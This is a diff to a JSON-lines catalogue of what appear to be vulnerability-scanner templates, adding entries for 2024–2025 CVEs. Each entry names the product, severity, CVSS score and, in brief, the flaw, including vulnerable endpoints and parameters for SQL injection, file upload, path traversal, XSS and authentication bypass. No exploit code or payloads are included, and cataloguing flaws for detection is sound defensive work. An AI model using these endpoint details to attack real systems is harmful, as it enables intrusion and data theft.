 {"ID":"CVE-2024-5420","Info":{"Name":"SEH utnserver Pro/ProMAX/INU-100 20.1.22 - Cross-Site Scripting","Severity":"high","Description":"A vulnerability was found in utnserver Pro, utnserver ProMAX, and INU-100 version 20.1.22 and earlier, affecting the device description parameter in the web interface. This flaw allows stored cross-site scripting (XSS), enabling attackers to inject JavaScript code. The attack can be executed remotely by tricking victims into visiting a malicious website, potentially leading to session hijacking. This vulnerability is publicly disclosed and identified as CVE-2024-5420.\n","Classification":{"CVSSScore":"8.3"}},"file_path":"http/cves/2024/CVE-2024-5420.yaml"}
 {"ID":"CVE-2024-5421","Info":{"Name":"SEH utnserver Pro/ProMAX/INU-100 20.1.22 - File Exposure","Severity":"high","Description":"A vulnerability was identified in utnserver Pro, utnserver ProMAX, and INU-100 version 20.1.22 and earlier, impacting the file handling functions. This flaw results in authenticated file disclosure, granting unauthorized access to sensitive files and directories. Although authentication is required, the vulnerability poses a significant risk of data exposure. This vulnerability is publicly disclosed and identified as CVE-2024-5421.\n","Classification":{"CVSSScore":"8.7"}},"file_path":"http/cves/2024/CVE-2024-5421.yaml"}
 {"ID":"CVE-2024-54330","Info":{"Name":"Hurrakify \u003c= 2.4 - Server-Side Request Forgery","Severity":"high","Description":"The Hurrakify plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 2.4. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application which can be used to query and modify information from internal services.\n","Classification":{"CVSSScore":"7.2"}},"file_path":"http/cves/2024/CVE-2024-54330.yaml"}
@@ -3122,7 +3160,7 @@
 {"ID":"CVE-2024-55417","Info":{"Name":"DevDojo Voyager \u003c= 1.8.0 - Arbitrary File Write vulnerability","Severity":"high","Description":"DevDojo Voyager through version 1.8.0 is vulnerable to bypassing the file type verification when an authenticated user uploads a file via /admin/media/upload. An authenticated user can upload a web shell causing arbitrary code execution on the server.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-55417.yaml"}
 {"ID":"CVE-2024-55457","Info":{"Name":"MasterSAM Star Gate v11 - Local File Inclusion","Severity":"high","Description":"MasterSAM Star Gate v11 is vulnerable to a directory traversal attack via the endpoint /adama/adama/downloadService. An attacker can exploit this vulnerability by manipulating the file parameter to access arbitrary files on the server, potentially leading to the exposure of sensitive information.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-55457.yaml"}
 {"ID":"CVE-2024-55550","Info":{"Name":"Mitel MiCollab - Arbitary File Read","Severity":"critical","Description":"The Mitel Collab Arbitrary File Read vulnerability allows an unauthenticated attacker to read arbitrary files from the underlying file system on a Mitel Collab server. Exploiting this flaw involves sending specially crafted requests to the server, bypassing access controls and allowing the attacker to retrieve sensitive files.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-55550.yaml"}
-{"ID":"CVE-2024-55591","Info":{"Name":"Fortinet Authentication Bypass","Severity":"critical","Description":"Fortinet FortiOS is vulnerable to an information disclosure via service-worker.js that could allow an attacker to access sensitive information.This vulnerability affects FortiOS and could potentially lead to unauthorized access to the system.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-55591.yaml"}
+{"ID":"CVE-2024-55591","Info":{"Name":"Fortinet - Authentication Bypass","Severity":"critical","Description":"Fortinet FortiOS is vulnerable to an information disclosure via service-worker.js that could allow an attacker to access sensitive information.This vulnerability affects FortiOS and could potentially lead to unauthorized access to the system.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-55591.yaml"}
 {"ID":"CVE-2024-55956","Info":{"Name":"Cleo Harmony \u003c 5.8.0.24 - File Upload Vulnerability","Severity":"critical","Description":"In Cleo Harmony before 5.8.0.24, VLTrader before 5.8.0.24, and LexiCom before 5.8.0.24, an unauthenticated user can import and execute arbitrary Bash or PowerShell commands on the host system by leveraging the default settings of the Autorun directory.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-55956.yaml"}
 {"ID":"CVE-2024-56145","Info":{"Name":"Craft CMS - Remote Code Execution via Template Path Manipulation","Severity":"critical","Description":"This template identifies a critical Remote Code Execution (RCE) vulnerability in Craft CMS, identified as GHSA-2p6p-9rc9-62j9.\nThe vulnerability exists due to improper handling of the `--templatesPath` query parameter, allowing attackers to execute arbitrary code by referencing malicious Twig templates.\n","Classification":{"CVSSScore":"9.3"}},"file_path":"http/cves/2024/CVE-2024-56145.yaml"}
 {"ID":"CVE-2024-56325","Info":{"Name":"Apache Pinot \u003c 1.3.0 - Authentication Bypass","Severity":"critical","Description":"This vulnerability allows remote attackers to bypass authentication on affected installations of Apache Pinot. Authentication is not required to exploit this vulnerability.The specific flaw exists within the AuthenticationFilter class. The issue results from insufficient neutralization of special characters in a URI. An attacker can leverage this vulnerability to bypass authentication on the system.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-56325.yaml"}
@@ -3147,6 +3185,7 @@
 {"ID":"CVE-2024-6159","Info":{"Name":"Push Notification for Post and BuddyPress \u003c= 1.93 - SQL Injection","Severity":"critical","Description":"Push Notification for Post and BuddyPress plugin for WordPress is vulnerable to SQL Injection via the 'onesignal_externalid' and 'onesignal_get_subscriptionoptions_id' paramters in all versions up to, and including, 1.93 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2024/CVE-2024-6159.yaml"}
 {"ID":"CVE-2024-6188","Info":{"Name":"TrakSYS 11.x.x - Sensitive Data Exposure","Severity":"medium","Description":"A vulnerability was found in Parsec Automation TrackSYS 11.x.x and classified as problematic. This issue affects some unknown processing of the file /TS/export/pagedefinition. The manipulation of the argument ID leads to direct request. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-6188.yaml"}
 {"ID":"CVE-2024-6205","Info":{"Name":"PayPlus Payment Gateway \u003c 6.6.9 - SQL Injection","Severity":"critical","Description":"The PayPlus Payment Gateway WordPress plugin before 6.6.9 does not properly sanitise and escape a parameter before using it in a SQL statement via a WooCommerce API route available to unauthenticated users, leading to an SQL injection vulnerability.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-6205.yaml"}
+{"ID":"CVE-2024-6220","Info":{"Name":"WordPress Keydatas ≤ 2.5.2 - Arbitrary File Upload","Severity":"critical","Description":"The Keydatas plugin for WordPress (known in Chinese as \"简数采集器\") is vulnerable to unrestricted file uploads due to missing file-type validation in the keydatas_downloadImages function in all versions up to and including 2.5.2. An unauthenticated attacker can upload arbitrary files to the server — potentially leading to remote code execution, site takeover, or other severe compromise.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-6220.yaml"}
 {"ID":"CVE-2024-6235","Info":{"Name":"NetScaler Console - Sensitive Information Disclosure","Severity":"critical","Description":"Sensitive information disclosure in NetScaler Console\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-6235.yaml"}
 {"ID":"CVE-2024-6289","Info":{"Name":"WPS Hide Login \u003c 1.9.16.4 - Hidden Login Page Disclosure","Severity":"medium","Description":"The WPS Hide Login WordPress plugin before 1.9.16.4 does not prevent redirects to the login page via the auth_redirect WordPress function, allowing an unauthenticated visitor to access the hidden login page.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-6289.yaml"}
 {"ID":"CVE-2024-6366","Info":{"Name":"User Profile Builder \u003c 3.11.8 - File Upload","Severity":"high","Description":"The User Profile Builder WordPress plugin before 3.11.8 does not have proper authorisation, allowing unauthenticated users to upload media files via the async upload functionality of WP.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-6366.yaml"}
@@ -3154,6 +3193,7 @@
 {"ID":"CVE-2024-6420","Info":{"Name":"Hide My WP Ghost \u003c 5.2.02 - Hidden Login Page Disclosure","Severity":"high","Description":"The Hide My WP Ghost plugin does not prevent redirects to the login page via the auth_redirect WordPress function, allowing an unauthenticated visitor to access the hidden login page.\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2024/CVE-2024-6420.yaml"}
 {"ID":"CVE-2024-6460","Info":{"Name":"WordPress Grow by Tradedoubler Plugin \u003c 2.0.22 - Unauthenticated Local File Inclusion","Severity":"critical","Description":"The Grow by Tradedoubler WordPress plugin through version 2.0.21 is vulnerable to Local File Inclusion via the component parameter. This makes it possible for attackers to include and execute PHP files on the server, allowing the execution of any PHP code in those files.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-6460.yaml"}
 {"ID":"CVE-2024-6517","Info":{"Name":"Contact Form 7 Math Captcha \u003c= 2.0.1 - Cross-site Scripting","Severity":"medium","Description":"The Contact Form 7 Math Captcha WordPress plugin through 2.0.1 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2024/CVE-2024-6517.yaml"}
+{"ID":"CVE-2024-6555","Info":{"Name":"WP Popups - Information Disclosure","Severity":"medium","Description":"WP Popups - WordPress Popup builder plugin for WordPress contains a full path disclosure caused by using mobiledetect without access restrictions, letting unauthenticated attackers retrieve server paths, exploit requires no specific conditions.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2024/CVE-2024-6555.yaml"}
 {"ID":"CVE-2024-6586","Info":{"Name":"Lightdash v0.1024.6 - Server-Side Request Forgery","Severity":"high","Description":"Server-Side Request Forgery (“SSRF”) in the export dashboard functionality of Lightdash version 0.1024.6 allows remote authenticated threat actors to obtain the session cookie of any user who exports a crafted dashboard. When they are exported, dashboards containing HTML elements can trigger HTTP requests to an external domain that contain the exporting user’s session cookie. The cookie could be stolen by a threat actor and used to hijack application user sessions.\n","Classification":{"CVSSScore":"7.3"}},"file_path":"http/cves/2024/CVE-2024-6586.yaml"}
 {"ID":"CVE-2024-6587","Info":{"Name":"LiteLLM - Server-Side Request Forgery","Severity":"high","Description":"LiteLLM vulnerable to Server-Side Request Forgery (SSRF) vulnerability Exposes OpenAI API Keys.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-6587.yaml"}
 {"ID":"CVE-2024-6646","Info":{"Name":"Netgear-WN604 downloadFile.php - Information Disclosure","Severity":"medium","Description":"There is an information leakage vulnerability in the downloadFile.php interface of Netgear WN604. A remote attacker using file authentication can use this vulnerability to obtain the administrator account and password information of the wireless router, causing the router's background to be controlled. The attacker can initiate damage to the wireless network or further threaten it.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2024/CVE-2024-6646.yaml"}
@@ -3205,6 +3245,7 @@
 {"ID":"CVE-2024-8673","Info":{"Name":"Z-Downloads \u003c 1.11.7 - Cross-Site Scripting","Severity":"low","Description":"The plugin does not properly validate uploaded files allowing for the uploading of SVGs containing malicious JavaScript.\n","Classification":{"CVSSScore":"3.5"}},"file_path":"http/cves/2024/CVE-2024-8673.yaml"}
 {"ID":"CVE-2024-8698","Info":{"Name":"Keycloak - SAML Core Package Signature Validation Flaw","Severity":"high","Description":"A flaw exists in the SAML signature validation method within the Keycloak XMLSignatureUtil class. The method incorrectly determines whether a SAML signature is for the full document or only for specific assertions based on the position of the signature in the XML document, rather than the Reference element used to specify the signed element. This flaw allows attackers to create crafted responses that can bypass the validation, potentially leading to privilege escalation or impersonation attacks.\n","Classification":{"CVSSScore":"7.7"}},"file_path":"http/cves/2024/CVE-2024-8698.yaml"}
 {"ID":"CVE-2024-8752","Info":{"Name":"WebIQ 2.15.9 - Directory Traversal","Severity":"high","Description":"The Windows version of WebIQ 2.15.9 is affected by a directory traversal vulnerability that allows remote attackers to read any file on the system.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2024/CVE-2024-8752.yaml"}
+{"ID":"CVE-2024-8852","Info":{"Name":"All-in-One WP Migration \u003c 7.87 - Unauthenticated Information Disclosure","Severity":"medium","Description":"The All-in-One WP Migration and Backup plugin for WordPress is vulnerable to unauthenticated information disclosure due to its error.log file being publicly accessible in versions before 7.87.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2024/CVE-2024-8852.yaml"}
 {"ID":"CVE-2024-8856","Info":{"Name":"WP Time Capsule Plugin - Remote Code Execution","Severity":"critical","Description":"The Backup and Staging by WP Time Capsule plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the the UploadHandler.php file and no direct file access prevention in all versions up to, and including, 1.22.21. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-8856.yaml"}
 {"ID":"CVE-2024-8859","Info":{"Name":"Mlflow \u003c 2.17.0 - Local File Inclusion","Severity":"critical","Description":"Mlflow before 2.17.0 is susceptible to local file inclusion due to path traversal in GitHub repository mlflow/mlflow. An attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-8859.yaml"}
 {"ID":"CVE-2024-8877","Info":{"Name":"Riello Netman 204 - SQL Injection","Severity":"critical","Description":"The three endpoints /cgi-bin/db_datalog_w.cgi, /cgi-bin/db_eventlog_w.cgi, and /cgi-bin/db_multimetr_w.cgi are vulnerable to SQL injection without prior authentication. This enables an attacker to modify the collected log data in an arbitrary way.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-8877.yaml"}
@@ -3214,6 +3255,7 @@
 {"ID":"CVE-2024-9014","Info":{"Name":"pgAdmin 4 - Authentication Bypass","Severity":"critical","Description":"pgAdmin 4 versions 8.11 and earlier are vulnerable to a security flaw in OAuth2 authentication. This vulnerability allows an attacker to potentially obtain the client ID and secret, leading to unauthorized access to user data.\n","Classification":{"CVSSScore":"9.9"}},"file_path":"http/cves/2024/CVE-2024-9014.yaml"}
 {"ID":"CVE-2024-9047","Info":{"Name":"WordPress File Upload \u003c= 4.24.11 - Arbitrary File Read","Severity":"critical","Description":"The WordPress File Upload plugin for WordPress is vulnerable to Path Traversal in all versions up to, and including, 4.24.11 via wfu_file_downloader.php. This makes it possible for unauthenticated attackers to read or delete files outside of the originally intended directory. Successful exploitation requires the targeted WordPress installation to be using PHP 7.4 or earlier.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-9047.yaml"}
 {"ID":"CVE-2024-9061","Info":{"Name":"WP Popup Builder Popup Forms and Marketing Lead Generation \u003c= 1.3.5 - Arbitrary Shortcode Execution","Severity":"high","Description":"The The WP Popup Builder Popup Forms and Marketing Lead Generation plugin for WordPress is vulnerable to arbitrary shortcode execution via the wp_ajax_nopriv_shortcode_Api_Add AJAX action in all versions up to, and including, 1.3.5. This is due to the software allowing users to execute an action that does not properly validate a value before running do_shortcode. This makes it possible for unauthenticated attackers to execute arbitrary shortcodes.\n","Classification":{"CVSSScore":"7.3"}},"file_path":"http/cves/2024/CVE-2024-9061.yaml"}
+{"ID":"CVE-2024-9161","Info":{"Name":"Rank Math SEO \u003c 1.0.229 - Unauthenticated User and Term Metadata Insert/Update/Deletion","Severity":"medium","Description":"Rank Math SEO – AI SEO Tools to Dominate SEO Rankings plugin for WordPress contains a missing capability check on 'update_metadata' in all versions up to 1.0.228, letting unauthenticated attackers insert, update, or delete metadata, including user and term metadata, potentially causing loss of access to the admin dashboard.\n","Classification":{"CVSSScore":"6.5"}},"file_path":"http/cves/2024/CVE-2024-9161.yaml"}
 {"ID":"CVE-2024-9166","Info":{"Name":"TitanNit Web Control 2.01/Atemio 7600 - Remote Code Execution","Severity":"critical","Description":"The device contains a command injection caused by the 'getcommand' query in the application, letting unauthorized attackers execute system commands with root privileges, exploit requires attacker to send crafted requests.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-9166.yaml"}
 {"ID":"CVE-2024-9186","Info":{"Name":"Automation By Autonami \u003c 3.3.0 - SQL Injection","Severity":"high","Description":"The Recover WooCommerce Cart Abandonment, Newsletter, Email Marketing, Marketing Automation By FunnelKit WordPress plugin before 3.3.0 does not sanitize and escape the bwfan-track-id  parameter before using it in a SQL statement, allowing unauthenticated users to perform SQL injection attacks.\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2024/CVE-2024-9186.yaml"}
 {"ID":"CVE-2024-9193","Info":{"Name":"WHMpress \u003c= 6.3-revision-0 - Unauthenticated Local File Inclusion to Arbitrary Options Update","Severity":"critical","Description":"The WHMpress - WHMCS WordPress Integration Plugin plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 6.3-revision-0 via the whmpress_domain_search_ajax_extended_results() function. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other “safe” file types can be uploaded and included. This makes it possible for unauthenticated attackers to update arbitrary options on the WordPress site. Utilizing the /admin/services.php file, this can be leveraged to update the default role for registration to administrator and enable user registration for attackers to gain administrative user access to a vulnerable site.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-9193.yaml"}
@@ -3237,15 +3279,25 @@
 {"ID":"CVE-2025-0674","Info":{"Name":"Elber ESE DVB-S/S2 - Authentication Bypass","Severity":"critical","Description":"Multiple Elber products are affected by an authentication bypass vulnerability which allows unauthorized access to the password management functionality. Attackers can exploit this issue by manipulating the endpoint to overwrite any user's password within the system.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-0674.yaml"}
 {"ID":"CVE-2025-0868","Info":{"Name":"DocsGPT - Unauthenticated Remote Code Execution","Severity":"critical","Description":"A vulnerability, that could result in Remote Code Execution (RCE), has been found in DocsGPT. Due to improper parsing of JSON data using eval() an unauthorized attacker could send arbitrary Python code to be executed via /api/remote endpoint.This issue affects DocsGPT- from 0.8.1 through 0.12.0.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-0868.yaml"}
 {"ID":"CVE-2025-10035","Info":{"Name":"GoAnywhere - Authentication Bypass","Severity":"critical","Description":"Fortra GoAnywhere MFT contains an insecure deserialization vulnerability in the License Servlet caused by deserializing attacker-controlled objects with a valid forged license response signature, letting attackers perform command injection, exploit requires valid forged license signature.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-10035.yaml"}
+{"ID":"CVE-2025-10204","Info":{"Name":"AC Smart II - Authentication Bypass","Severity":"high","Description":"AC Smart II contains an authentication bypass caused by a hidden password reset form that can be manipulated to change the administrator password without verifying login or permissions, letting attackers change admin passwords without authorization.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-10204.yaml"}
+{"ID":"CVE-2025-10210","Info":{"Name":"ChanCMS \u003c= 3.3.0 - SQL Injection","Severity":"medium","Description":"yanyutao0402 ChanCMS = 3.3.0 contains a SQL injection caused by manipulation of the \\\"key\\\" argument in app/modules/api/service/Api.js Search function, letting remote attackers execute arbitrary SQL commands, exploit requires crafted request.\n","Classification":{"CVSSScore":"6.3"}},"file_path":"http/cves/2025/CVE-2025-10210.yaml"}
+{"ID":"CVE-2025-10211","Info":{"Name":"ChanCMS \u003c= 3.3.0 - Server-Side Request Forgery","Severity":"medium","Description":"yanyutao0402 ChanCMS 3.3.0 contains a server-side request forgery caused by manipulation of the \"taskUrl\" argument in /cms/collect/getArticle, letting remote attackers make arbitrary requests, exploit requires no special privileges.\n","Classification":{"CVSSScore":"6.3"}},"file_path":"http/cves/2025/CVE-2025-10211.yaml"}
 {"ID":"CVE-2025-1023","Info":{"Name":"ChurchCRM - SQL Injection","Severity":"critical","Description":"A vulnerability exists in ChurchCRM 5.13.0 and prior that allows an attacker to execute arbitrary SQL queries by exploiting a time-based blind SQL Injection vulnerability in the EditEventTypes functionality. The newCountName parameter is directly concatenated into an SQL query without proper sanitization, allowing an attacker to manipulate database queries and execute arbitrary commands, potentially leading to data exfiltration, modification, or deletion.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-1023.yaml"}
 {"ID":"CVE-2025-1025","Info":{"Name":"Cockpit \u003c 2.4.1 - Arbitrary File Upload","Severity":"high","Description":"Versions of the package cockpit-hq/cockpit before 2.4.1 are vulnerable to Arbitrary File Upload where an attacker can use different extensions to bypass the upload filter.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-1025.yaml"}
 {"ID":"CVE-2025-1035","Info":{"Name":"KLog Server - Path Traversal","Severity":"medium","Description":"Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Komtera Technolgies KLog Server allows Manipulating Web Input to File System Calls.This issue affects KLog Server: before 3.1.1.\n","Classification":{"CVSSScore":"5.7"}},"file_path":"http/cves/2025/CVE-2025-1035.yaml"}
 {"ID":"CVE-2025-1097","Info":{"Name":"Ingress-Nginx Controller - Configuration Injection via Unsanitized `auth-tls-match-cn` Annotation","Severity":"high","Description":"A security issue was discovered in  ingress-nginx https-//github.com/kubernetes/ingress-nginx  where the `auth-tls-match-cn` Ingress annotation can be used to inject configuration into nginx. This can lead to arbitrary code execution in the context of the ingress-nginx controller, and disclosure of Secrets accessible to the controller. (Note that in the default installation, the controller can access all Secrets cluster-wide.)\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2025/CVE-2025-1097.yaml"}
 {"ID":"CVE-2025-1098","Info":{"Name":"Ingress-Nginx Controller - Configuration Injection via Unsanitized Mirror Annotations","Severity":"high","Description":"A security issue was discovered in  ingress-nginx https-//github.com/kubernetes/ingress-nginx  where the `mirror-target` and `mirror-host` Ingress annotations can be used to inject arbitrary configuration into nginx. This can lead to arbitrary code execution in the context of the ingress-nginx controller, and disclosure of Secrets accessible to the controller. (Note that in the default installation, the controller can access all Secrets cluster-wide.)\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2025/CVE-2025-1098.yaml"}
+{"ID":"CVE-2025-11307","Info":{"Name":"WP Google Maps \u003c 9.0.48 - Cross-Site Scripting","Severity":"high","Description":"WP Google Maps WordPress plugin \u003c 9.0.48 contains a stored XSS vulnerability caused by unsanitized user input in AJAX actions, letting unauthenticated attackers execute scripts via stored payloads.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2025/CVE-2025-11307.yaml"}
 {"ID":"CVE-2025-11371","Info":{"Name":"Gladinet CentreStack \u0026 TrioFox - Local File Inclusion","Severity":"medium","Description":"In the default installation and configuration of Gladinet CentreStack and TrioFox, there is an unauthenticated Local File Inclusion Flaw that allows unintended disclosure of system files. Exploitation of this vulnerability has been observed in the wild.  This issue impacts Gladinet CentreStack and Triofox: All versions prior to and including 16.7.10368.56560\n","Classification":{"CVSSScore":"6.2"}},"file_path":"http/cves/2025/CVE-2025-11371.yaml"}
+{"ID":"CVE-2025-11700","Info":{"Name":"N-central - XML External Entities Injection","Severity":"high","Description":"N-central versions \u003c 2025.4 are vulnerable to an XML External Entities injection leading to information disclosure.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-11700.yaml"}
+{"ID":"CVE-2025-11749","Info":{"Name":"WordPress AI Engine Plugin - Token Exposure","Severity":"critical","Description":"Unauthenticated sensitive information exposure in AI Engine WordPress plugin \u003c= 3.1.3 exposes bearer tokens via REST API endpoints when No-Auth URL is enabled.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-11749.yaml"}
 {"ID":"CVE-2025-11750","Info":{"Name":"Dify - User Enumeration via \"Account not found\" Message","Severity":"medium","Description":"A user enumeration vulnerability exists in langgenius/dify, where the login API leaks information about whether a user account exists or not. When an invalid/non-existent email is used during login, the API returns a distinct error message such as \"account_not_found\" or \"Account not found.\", allowing attackers to identify valid accounts.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-11750.yaml"}
+{"ID":"CVE-2025-11833","Info":{"Name":"Post SMTP \u003c= 3.6.0 - Email Log Disclosure","Severity":"critical","Description":"Post SMTP WordPress plugin \u003c= 3.6.0 contains an unauthorized data access vulnerability caused by missing capability check in __construct function, letting unauthenticated attackers read arbitrary logged emails, exploit requires no authentication.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-11833.yaml"}
+{"ID":"CVE-2025-12055","Info":{"Name":"MPDV Mikrolab GmbH HYDRA X, MIP 2 \u0026 FEDRA 2 - Path Traversal","Severity":"high","Description":"MPDV Mikrolab GmbH HYDRA X, MIP 2, and FEDRA 2 \u003c= Maintenance Pack 36 with Servicepack 8 (week 36/2025) contain an unauthenticated local file disclosure vulnerability caused by improper validation of the \"Filename\" parameter in the public $SCHEMAS$ resource, letting attackers read arbitrary Windows OS files, exploit requires local access.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-12055.yaml"}
+{"ID":"CVE-2025-12480","Info":{"Name":"Triofox - Improper Access Control","Severity":"critical","Description":"The Gladinet Triofox solution before 12.91.1126.65588 and CentreStack before 12.10.595.65696 allow unauthenticated access to the /management/admindatabase.aspx endpoint, exposing sensitive database management functionality to anyone with network access. An unauthenticated attacker can remotely access, view, and potentially interact with the database management interface, risking data disclosure or system compromise.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-12480.yaml"}
 {"ID":"CVE-2025-1302","Info":{"Name":"JSONPath Plus \u003c 10.3.0 - Remote Code Execution","Severity":"critical","Description":"Versions of the package jsonpath-plus before 10.3.0 are vulnerable to Remote Code Execution (RCE) due to improper input sanitization. An attacker can execute aribitrary code on the system by exploiting the unsafe default usage of eval='safe' mode. **Note:** This is caused by an incomplete fix for [CVE-2024-21534]\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-1302.yaml"}
 {"ID":"CVE-2025-1323","Info":{"Name":"WP-Recall – Plugin \u003c= 16.26.10 - Unauthenticated SQL Injection","Severity":"high","Description":"The WP-Recall – Registration, Profile, Commerce \u0026 More plugin for WordPress is vulnerable to SQL Injection via the 'databeat' parameter in all versions up to, and including, 16.26.10 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-1323.yaml"}
+{"ID":"CVE-2025-13315","Info":{"Name":"Twonky Server 8.5.2 on Linux and Windows - Log File Exposure","Severity":"critical","Description":"Twonky Server 8.5.2 contains a broken access control vulnerability caused by bypassing web service API authentication, letting unauthenticated attackers read log files with administrator credentials, exploit requires no authentication\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-13315.yaml"}
 {"ID":"CVE-2025-1562","Info":{"Name":"Recover WooCommerce Cart Abandonment, Newsletter, Email Marketing, Marketing Automation By FunnelKit - Broken Access Control","Severity":"critical","Description":"The Recover WooCommerce Cart Abandonment, Newsletter, Email Marketing, Marketing Automation By FunnelKit plugin for WordPress is vulnerable to unauthorized arbitrary plugin installation due to a missing capability check on the install_or_activate_addon_plugins() function and a weak nonce hash in all versions up to, and including, 3.5.3. This makes it possible for unauthenticated attackers to install arbitrary plugins on the site that can be leveraged to further infect a vulnerable site.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-1562.yaml"}
 {"ID":"CVE-2025-1595","Info":{"Name":"EasyCVR \u003c=2.1.2 - Information Disclosure","Severity":"medium","Description":"A vulnerability has been found in Anhui Xufan Information Technology EasyCVR up to 2.7.0 and classified as problematic. This vulnerability affects unknown code of the file /api/v1/getbaseconfig. The manipulation leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2025/CVE-2025-1595.yaml"}
 {"ID":"CVE-2025-1661","Info":{"Name":"HUSKY – Products Filter Professional for WooCommerce \u003c= 1.3.6.5 - Unauthenticated Local File Inclusion","Severity":"critical","Description":"The HUSKY – Products Filter Professional for WooCommerce plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 1.3.6.5 via the 'template' parameter of the woof_text_search AJAX action. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other “safe” file types can be uploaded and included.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-1661.yaml"}
@@ -3302,6 +3354,7 @@
 {"ID":"CVE-2025-2777","Info":{"Name":"SysAid On-Prem \u003c= 23.3.40 - XML External Entity","Severity":"critical","Description":"SysAid On-Prem versions \u003c= 23.3.40 are vulnerable to an unauthenticated XML External Entity (XXE) vulnerability in the lshw processing functionality, allowing for administrator account takeover and file read primitives.\n","Classification":{"CVSSScore":"9.3"}},"file_path":"http/cves/2025/CVE-2025-2777.yaml"}
